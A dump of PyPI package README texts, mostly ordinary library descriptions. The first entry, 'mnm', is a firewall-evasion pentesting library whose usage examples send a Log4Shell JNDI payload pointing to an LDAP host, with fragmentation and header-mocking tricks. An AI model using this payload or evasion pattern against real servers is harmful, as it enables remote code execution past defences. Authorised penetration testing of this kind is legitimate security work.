Saravanan666/pypi-org huggingface dataset:
Package: mnm
mnmThis is a simple python library for pentesting firewall protected webapp.InstallationpipinstallmnmUsagefrommnmimport*importrequests@mixed(SocketFragmentation(slice=5),HeaderMocking())defmixed_options(ip):r=requests.get(f'http://{ip}/log',data={"log":"${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"})print(r.text)@mixed()defmixed_simple(ip):r=requests.get(f'http://{ip}/log',data={"log":"${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"})print(r.text)defwith_pattern(ip):withSocketFragmentation(slice=5),HeaderMocking():r=requests.get(f'http://{ip}/log',data={"log":"${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"})print(r.text)LicenseMIT License
Package: mnmetro
Home of mnmetro LibraryWhat is mnmetro?mnmetro is a Python3 wrapper built for the Minnesota Metro Tranist API.InstallationYou can install mnmetro usingpip$pipinstallmnmetroDevelopmentTo be add when setup. Otherwise PR's are always welcome.SetupAll you have to do to start using mnmetro is import it.Then checkout the objects you can initialize!importmnmetro
Package: mnqueues
What are mnqueues?mnqueuesstands for Monitored Queues - a coupling between PythonmultiprocessingQueue() and a Monitor entity. A Monitor collect and alerts on Queue usage statistics.Tracked measuresmnqueuestracks several measures per queue:Average number of writes to queue per minute,Average number of reads to queue per minute,Time spend in queue (latency) in milliseconds.InstallationTo installmnqueuestype:pip install mnqueuesHow-To useTo create a monitored queue:import mnqueues as mnq
from mnqueues.gcp_monitor import GCPMonitor

q = mnq.MNQueue(monitor=GCPMonitor("some-unique-name"))TheMNQueue()object encapsulated Pythonmultiprocessing.Queue()and supports same functions. The MNQueue() object can be passed between processes, like a Queue() object.MonitorsFile Loggerfrom mnqueues.log_monitor import LOGMonitor

monitor = LOGMonitor("log-file-name")Log allput()andget()calls to a log file with the the namelog-file-name.logwith the following format:[<OS process-id>]->2021-07-07 21:31:14 INFO:get counter: 5003
[<OS process-id>]->2021-07-07 21:31:14 INFO:get counter: 4997Google Cloud Monitor (using StackDriver)from mnqueues.gcp_monitor import GCPMonitor

monitor = GCPMonitor("unique-name")All calls toput()andget()are sent to Google Cloud Monitor. The Monitor class sends data to two custom measures:OpenCensus/mnqueues.{name}.number_queue_get(line, no aggregation on GCP required)OpenCensus/mnqueues.{name}.number_queue_put(line, no aggregation on GCP required)OpenCensus/mnqueues.{name}.time_in_queue_distribution(heat-map with sum, shows latency distribution)Note that{name}is passed as a parameter when constructing the Monitor and it aims to assist in creating dash-boards for specific use-cases.Seefor details.ExamplesGCPViewGoogle Cloud (GCP) Monitoring dashboard showing queue.put() and queue.get() rates per second, generated by runningpyteston the projecttestsfolder.Monitoringqueues with real-time web-socket trading data forLiuAlgoTrader.Further examplesCan be found in thetestsfolder.ContributingContributions are highly appreciated. Please review ourCode of Conduct. Bug reports & feature requests can be left in theIssuessection, or email me atamor71@sgeltd.com
Package: mn-slack-logger
Medianova Slack LoggerMN Slack Logger is a Python package for logging error messages to a Slack channel.Getting StartedTo use MN Slack Logger, follow these steps:PrerequisitesFirst, add MN Slack Logger to your projectpipinstallmn-slack-logger(back to top)UsageMN Slack Logger can be used to send messages of various levels (info, warning, error) to your Slack channel. Here's how you can use it:frommn_slack_loggerimportSlackLoggerlogger=SlackLogger(slack_url="https://slack-webhook-url",slack_user="Logger")logger.log("An example message",level="info")logger.log("An example warning",level="warning")logger.log("An example error",level="error",error="traceback text...")For handling long traceback messages, MN Slack Logger shortens them automatically to fit Slack's message length limits.(back to top)Usage with FastAPIMN Slack Logger can be integrated into a FastAPI application to log messages to Slack. Here's an example of how you can use it in your FastAPI application:fromfastapiimportFastAPI,HTTPExceptionfrommn_slack_loggerimportSlackLoggerapp=FastAPI()logger=SlackLogger(slack_url="https://slack-webhook-url",slack_user="FastAPI Logger")@app.exception_handler(HTTPException)asyncdefhttp_exception_handler(request,exc):logger.log(f"HTTP Exception:{exc.detail}",level="error",error=str(exc))return{"detail":exc.detail}@app.get("/")asyncdefread_root():return{"Hello":"World"}@app.get("/error")asyncdefcause_error():raiseHTTPException(status_code=400,detail="This is a test error")This example sets up a basic FastAPI application with an exception handler that logs HTTP exceptions to Slack using MN Slack Logger.(back to top)
Package: mnt.bench
MNT Bench: Layout Library for Field-coupled Nanocomputing CircuitsMNT Bench is a field-coupled nanocomputing circuit benchmark suite for multiple gate libraries and clocking schemes.MNT Bench is part of the Munich Nanotech Toolkit (MNT) developed by theChair for Design Automationat theTechnical University of Munichand is hosted athttps://www.cda.cit.tum.de/mntbench/.This documentation explains how to use MNT Bench to filter and download benchmarks.Benchmark SelectionSo far, the functions from the following benchmark sets are implemented and provided:Trindade16Fontes18ISCAS85EPFLGate LibrariesSo far, MNT Bench supports the following native gate-sets:ONE(for QCA) gate set:[AND, OR, NOT, BUF]Bestagon(for SiDB) gate set:[AND, NAND, OR, NOR, XOR, XNOR, NOT, BUF]Clocking SchemesMost of the layouts are available for any of the following clocking schemes:2DDWaveESRUSERESRowRepository Structuresrc/mnt/: main source directorybench: Directory for the webpage (which can be started locally and is also hosted athttps://www.cda.cit.tum.de/mntbench/)tests: Directory for the tests for MNT BenchRepository UsageThere are three ways how to use this benchmark suite:Via the webpage hosted athttps://www.cda.cit.tum.de/mntbench/Via the pip packagemnt.benchDirectly via this repositorySince the first way is rather self-explanatory, the other two ways are explained in more detail in the following.Usage via pip packageMNT Bench is available viaPyPI(venv)$pipinstallmnt.benchLocally hosting the MNT Bench ViewerAdditionally, this python package includes the same webserver used for the hosting of theMNT Bench webpage.After themnt.benchPython package is installed via(venv)$pipinstallmnt.benchthe MNT Bench Viewer can be started from the terminal via(venv)$mnt.benchThis first searches for the most recent version of the benchmark files on GitHub and offers to download them.
Afterwards, the webserver is started locally.Usage directly via this repositoryFor that, the repository must be cloned and installed:git clone https://github.com/cda-tum/mnt-bench.git
cd mnt-bench
pip install .Afterwards, the package can be used as describedabove.
Package: mntfinder
mntfinderParse /proc/mounts and find/list mountpoints.This projectIS NOTa wrapper offindmnt.InstallJust run the command:pip install mntfinder.Or you can download and install the wheel file from release page manually.ExamplesAll functions shown below can search for mountpoints in/proc/<pid>/mountsvia the keyword argumentpid. If not specifiedpid, these functions will search in/proc/mounts(it is usually linked to/proc/self/mounts.)mntfinder.findMountPointByTarget(target: str | bytes | os.PathLike, *, pid: int | None = None) -> MountPoint | Noneimportmntfindermountpoint=mntfinder.findMountPointByTarget('/mnt/data')ifmountpoint:print(f"Mount point found:{mountpoint.source}->{mountpoint.target}(Filesystem type:{mountpoint.fstype})")else:print("Mount point not found")mntfinder.listAllMountPoints(*, source: str | None = None, target: str | bytes | os.PathLike | None = None, fstype: str | None = None, pid: int | None = None) -> list[MountPoint]Retrieve all mount pointsimportmntfindermountpoints=mntfinder.listAllMountPoints()Retrieve mount points with a specific sourceimportmntfindermountpoints=mntfinder.listAllMountPoints(source='/dev/sda1')Retrieve mount points with a specific targetimportmntfindermountpoints=mntfinder.listAllMountPoints(target='/mnt/data')Retrieve mount points with a specific file system typeimportmntfindermountpoints=mntfinder.listAllMountPoints(fstype='ext4')mntfinder.isMountPoint(target: str | bytes | os.PathLike, *, source: str | None = None, fstype: str | None = None, pid: int | None = None) -> boolimportmntfinderis_mount=mntfinder.isMountPoint('/mnt/data',source='/dev/sdb1',fstype='ext4')ifis_mount:print('/mnt/data is a mountpoint')else:print('/mnt/data is not a mountpoint')
Package: mnultitool
# M(N)ultitool - a multitool for Numerical Methods## Compatibility & requirementsThis module assumes you are using python3.x& have the following packages installed:matplotlibnumpyscipy## InstallationTo install, runpip install mnultitool## DocsDocs are available [here](https://artus9033.github.io/MNultitool/index.html) and are automatically compiled after each commit.
Package: mnx
A sample Python projectA sample project that exists as an aid to thePython Packaging User
Guide'sTutorial on Packaging and Distributing
Projects.This project does not aim to cover best practices for Python project
development as a whole. For example, it does not provide guidance or tool
recommendations for version control, documentation, or testing.The source for this project is available here.Most of the configuration for a Python project is done in thesetup.pyfile,
an example of which is included in this project. You should edit this file
accordingly to adapt this sample project to your needs.This is the README file for the project.The file should use UTF-8 encoding and can be written usingreStructuredTextormarkdownwith the appropriatekey set. It will be used to generate the project webpage on PyPI and will be
displayed as the project homepage on common code-hosting services, and should be
written for that purpose.Typical contents for this file would include an overview of the project, basic
usage examples, etc. Generally, including the project changelog in here is not a
good idea, although a simple “What's New” section for the most recent version
may be appropriate.
Package: mnzipcode
mnzipcodemnzipcode is a simple library for querying Mongolian zip codes.Video introduction:YOUTUBEPYPI:MNZIPCODEInstallationmnzipcode is available on PyPi:# python -m pip install mnzipcodeExample usage:>>>importmnzipcode>>>mnzipcode.matching_by_zipcode(11000){'stat':'capital','mnname':'Улаанбаатар','name':'Ulaanbaatar','year_established':1942,'area':4704.4,'population':1539810,'density':327,'zipcode':'11000'}>>>mnzipcode.filter(mnname='Дархан-Уул')[{'stat':'province','mnname':'Дархан-Уул','name':'Darkhan-Uul','year_established':1994,'area':3275.0,'population':107018,'density':33,'zipcode':'45000','capital':'Darkhan','capitalmn':'Дархан'},{'mnname':'Дархан-Уул','zipcode':'81041'},{'mnname':'Дархан-Уул','zipcode':'81063'}]>>>mnzipcode.is_real(11000)True>>>mnzipcode.similar_to(8501)[{'mnname':'Зүүнхангай','zipcode':'85010'},{'mnname':'Даланбулаг','zipcode':'85011'},{'mnname':'Хайрхан','zipcode':'85013'},{'mnname':'Жаргалант','zipcode':'85015'},{'mnname':'Баянгол','zipcode':'85017'}]
Package: mo
IntroductionGetting StartedCommunityIntroductionM-O is a task runner designed to standardise common development tasks across
different projects enabling a low barrier to entry and easy integration with
text editors and IDEs. The inspiration for this project comes fromScripts to Rule Them All.Getting StartedYou can visitmo.readthedocs.orgfor the
documentation.CommunityFeel free to open an issue or a pull request via GitHub.
Package: mo2s3
A pythoncommand line toolthat simplifyMongoDB backup(mongodump/mongorestore)to Amazon S3.Stdout/stderr is displayed for each command so if something goes wrong, you can see it immediately.You can download and restore generated backups yourselfwithout mo2s3(just download, untar and mongorestore).RequirementsIt makes use ofargparsefor parsing arguments,mongodump/mongorestore/tarwithenvoyandbototo upload/download to S3.Envoypython subprocesses for humansBototo interact with AWS S3Argparsefor parsing command line argumentsInstallation$ pip install mo2s3You can configure your AWS/MongoDB credentials with mo2s3:$ mo2s3 configureAnd you can also edit~/.mo2s3.cfg.UsageBasic usage, mo2s3 -h to show the help.List bucket files$ mo2s3 listPerform Backup$ mo2s3 backup$ mo2s3 backup –db mydbRestore$ mo2s3 restore –filename mongodump_20120610235933.tgz$ mo2s3 restore –host anotherhost.com:27017 –db mydb –filename mongodump_mydb_20120611150815.tgzDelete backup$ mo2s3 delete –filename mongodump_20120610235933.tgzDelete all backups$ mo2s3 dropHow It WorksHere is how abackupis performed:Run mongodump on the current directoryCreate tgz of the dump with tarUpload to S3 with botoDelete every generated fileAnd torestore:Download archive from S3Untar to current directoryMongorestore the dumpDelete every downloaded fileLicense (MIT)Copyright (c) 2012 Thomas SileoPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Package: mo9mo9db
当リポジトリの自作パッケージを使うための準備pipinstallmo9mo9db# https://pypi.org/project/mo9mo9db/# このパッケージを使用する側のディレクトリに.envのファイルを作成する# .envファイル内に以下のDB情報とパラメータ情報を入力することが必須vi.env>.env------------------------###==============================#MYSQL credential###==============================DB_USER=''DB_PASSWORD=''DB_HOST=''DB_PORT=''DB_DATABASE=''DB_ECHO=''------------------------------aboutddl/
    master/create_table.sql : DDL文。これをDBに流し込めば本番環境と同じ状態になるよう保つ。
    patch/ : TBD。migrationの仕組みが導入されるまで、DBスキーマ変更用DDLはここに置く。レビュー完了後masterのDDLにも反映する。
ERD/
    draw.ioで書かれたERDcommit時のローカル運用ディレクトリ[.githooks/]にてcommitをトリガーに動く処理を記載していますpythonの[autopep8]と[flake8]をcommit対象のファイルに対して実行しますこれを活用することでpepに準拠するように自動修正やエラー箇所を出力してくれますファイル[.githooks/pre-commit]はファイル[.pre-commit-config.yaml]を元に作成されています# pre-commitを活用するための準備## git configのコマンドを用いて、.git/hooksのパスを変更しますgitconfigcore.hooksPath.githooksFutureGithubのタグ付ルールとpypiのバージョン一致についてバージョン記法：x.y.zバージョン名称説明xメジャーバージョンほとんど使わないと思われる、破壊的な機能変更の場合に更新yマイナーバージョンpypiにアップロードする。テーブルの追加など本番環境で適用される機能が新たに追加がされた場合に更新zリビジョン?test.pypiにアップロードする時。試験的な変更があった時Githubのタグ付方法# v0.0.20のタグを付与する場合# 通常のpushではtagは付与されないので別途pushが必要gittagv0.0.20
gitpushoriginv0.0.20このパッケージを更新(upload)する方法共通## pythonの環境を作成・接続python3-mvenvvenvsourcevenv/bin/activate## アップロード用のパッケージインストールpipinstallwheeltwinepypiの本番環境にuploadする手順# (必須)setup.cfgのバージョンを更新することrmdist/*
pythonsetup.pybdist_wheel
twineupload--repositorypypidist/*test.pypiの開発環境にuploadする手順## pypiへの準備・アップロードpythonsetup.pybdist_wheel
twineupload--repository-urlhttps://test.pypi.org/legacy/dist/*test.pypiからパッケージインストール# ※ pip install時にパッケージが見つからないとエラーが出力された場合、# ※ 個別にpip installしてから改めて自作パッケージをインストールする.# ※ pip install -U PyMySQL# バージョンを指定する必要がある.# test.pypiのURL# https://test.pypi.org/project/mo9mo9db/pipinstall-ihttps://test.pypi.org/simple/mo9mo9db
Package: moabdb
MoabDBThe repository for the official MoabDB Python client.
Check out ourofficial sitefor information about MoabDB.Getting StartedInstall with pip:pipinstallmoabdbCheck out thedocsandgetting started guide.DevelopmentContributions will be licensed under the MIT license unless specified otherwise.
Before submitting a pull request, make sure that pylint passes. PRs will not be merged without proper linting.pylintmoabdbLicenseThis client library is licensed under the MIT license.
Package: moad
moad: Mix Open Api DocumentsTool to Mix Open Api Docs. You can copy components from other openapi docs.
The tool was initially written to share objects between openapi docs if there is a requirement for the docs to be in a single file.You can place the following comments in one openapi doc:# moad-mixin:begin:other.yml:components/schemas# moad-mixin:endmoad will scan the file and attempt to replace the text betweenbeginandendwith the content of the schemas of filetest2.ymlUsage:python-mpipinstallmoat
python-mmoatCou can only select certain elements from a path# moad-mixin:begin:other.yml:components/schemas>address,user# moad-mixin:end
Package: moadian
moadianimportjsonfrommoadianimportMoadianwithopen("private.key","r")asf:private_key=f.read()moadian=Moadian("YourFiscalID",key)moadian.get_server_information()...#{'signature': None, 'signatureKeyId': None, 'timestamp': 1693947922222, 'result':{'uid': 'c4f374f6-2fe7-4df2-9b39-150310a5dec1', 'packetType': 'SERVER_INFORMATION', 'data': {'serverTime': 1693947922222, 'publicKeys': [{'key': 'MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxdzREOEfk3vBQogDPGTMqdDQ7t0oDhuKMZkA+Wm1lhzjjhAGfSUOuDvOKRoUEQwP8oUcXRmYzcvCUgcfoRT5iz7HbovqH+bIeJwT4rmLmFcbfPke+E3DLUxOtIZifEXrKXWgSVPkRnhMgym6UiAtnzwA1rmKstJoWpk9Nv34CYgTk8DKQN5jQJqb9L/Ng0zOEEtI3zA424tsd9zv/kP4/SaSnbbnj0evqsZ29X6aBypvnTnwH9t3gbWM4I9eAVQhPYClawHTqvdaz/O/feqfm06QBFnCgL+CBdjLs30xQSLsPICjnlV1jMzoTZnAabWP6FRzzj6C2sxw9a/WwlXrKn3gldZ7Ctv6Jso72cEeCeUI1tzHMDJPU3Qy12RQzaXujpMhCz1DVa47RvqiumpTNyK9HfFIdhgoupFkxT14XLDl65S55MF6HuQvo/RHSbBJ93FQ+2/x/Q2MNGB3BXOjNwM2pj3ojbDv3pj9CHzvaYQUYM1yOcFmIJqJ72uvVf9Jx9iTObaNNF6pl52ADmh85GTAH1hz+4pR/E9IAXUIl/YiUneYu0G4tiDY4ZXykYNknNfhSgxmn/gPHT+7kL31nyxgjiEEhK0B0vagWvdRCNJSNGWpLtlq4FlCWTAnPI5ctiFgq925e+sySjNaORCoHraBXNEwyiHT2hu5ZipIW2cCAwEAAQ==', 'id': '6a2bcd88-a871-4245-a393-2843eafe6e02', 'algorithm': 'RSA', 'purpose': 1}]}, 'encryptionKeyId': None, 'symmetricKey': None, 'iv': None}}moadian.get_economic_code_information("14007650912")...#{'signature': None, 'signatureKeyId': None, 'timestamp': 1693948551814, 'result': {'uid': '2c176d39-f90d-4e34-8629-3812716a5803', 'packetType': 'ECONOMIC_CODE_INFORMATION', 'data': {'nameTrade': 'گروه تجارت الکترونیک دیجی کالا', 'taxpayerStatus': 'ENABLED', 'taxpayerType': 'LEGAL', 'postalcodeTaxpayer': '1917763913', 'addressTaxpayer': 'استان تهران - شهر تهران محله جردن بلوار نلسون ماندلا بلوار صبا غربی پلاک 38 طبقه دوم'}, 'encryptionKeyId': None, 'symmetricKey': None, 'iv': None}}# replace invoice with your invoice json and make sure you generate 'taxid' correctly.invoice='{"header":{}, "body": [{}], "payments": [{}]}'invoice=json.loads(invoice)moadian.send_invoice(invoice)#{'signature': None, 'signatureKeyId': None, 'timestamp': 1693947237, 'result': [{'uid': '88a4e907-10f4-429f-ae89-3327579df***', 'referenceNumber': '395655e5-7830-4b68-bdf8-31ed1f098***', 'errorCode': None, 'errorDetail': None}]}moadian.inquiry_by_reference_number("395655e5-7830-4b68-bdf8-31ed1f098***")# this is just an example of inquiry response, your errors will be different....#'signature': None, 'signatureKeyId': None, 'timestamp': 1693947277561, 'result': {'uid': None, 'packetType': 'INQUIRY_RESULT', 'data': [{'referenceNumber': '395655e5-7830-4b68-bdf8-31ed1f098***', 'uid': '88a4e907-10f4-429f-ae89-3327579df***', 'status': 'FAILED', 'data': {'confirmationReferenceId': None, 'error': [{'code': '010504', 'message': 'در مقدار وارد شده در فیلد «سریال صورتحساب» الگو(^[a-fA-F0-9]{10}$) رعایت نشده است.', 'errorType': 'ERROR'}, {'code': '011204', 'message': 'در مقدار وارد شده در فیلد «شماره اقتصادی خریدار» الگو(^\\d{14}$) رعایت نشده است.', 'errorType': 'ERROR'}], 'warning': [], 'success': False}, 'packetType': 'receive_invoice_confirm', 'fiscalId': 'YourFiscalId'}], 'encryptionKeyId': None, 'symmetricKey': None, 'iv': None}}
Package: moana
Moana: A robust and scalable cell type classification framework for single-cell RNA-Seq dataThis repository contains a Python implementation of the Moana framework for predicting cell types in single-cell RNA-Seq data (Wagner and Yanai, 2018).InstallationStep 1: Install Python and the Python packages that Moana depends onMoana requires Python version 3.5, 3.6, or 3.7, as well as the Python packagespandas,scikit-learn, andplotly.The easiest way to install Python as well as these packages is todownload and install Anaconda. Anaconda is a distribution of Python that already includes a lot of packages, including pandas, scikit-learn, and plotly. Alternatively, you candownload and install Miniconda, and use thecondacommand to create a new Python 3 environment and install the required packages. The latter option takes up less disk space but also requires some knowledge of how to use conda, the package/environment manager that underlies both Anaconda and Miniconda.Step 2: Install MoanaTo install Moana, make sure you have activated/selected the correct conda environment, and then type:$pipinstallmoanaChangelog10/30/2018 - Version 0.1.1 releasedThis is the initial release ofMoana. We used this version to construct the cell type classifiers described in our preprint. Additional documentation is forthcoming.
Package: moarc-framework
=====
Moarc FrameworkMoarc Framework is a Django app to improve cruds, templates and views.Detailed documentation is in the "docs" directory.Quick startAdd "moarcframework" to your INSTALLED_APPS setting like this::INSTALLED_APPS = [
...
'moarcframework',
]Include the moarcframework URLconf in your project urls.py like this::path('/', include('moarcframework.urls')),Runpython manage.py migrateto create the moarcframework models.Start the development server and visithttp://127.0.0.1:8000/admin/
Package: moarchiving
IntroductionThePythonclassmoarchiving.BiobjectiveNondominatedSortedListimplements a bi-objective non-dominated archive withlistas parent class. It is heavily based on thebisectmodule. It provides easy and fast access to the overall hypervolume, the contributing hypervolume of each element, and to theuncrowded hypervolume improvementof any given point in objective space.InstallationEither simply viapip install moarchivingor fromGitHubviapip install git+https://github.com/CMA-ES/moarchiving.git@masterThe single filemoarchiving.py(from themoarchiving/folder) can also be directly used by itself when copied in the current folder or in a path visible to Python (e.g. a path contained insys.path).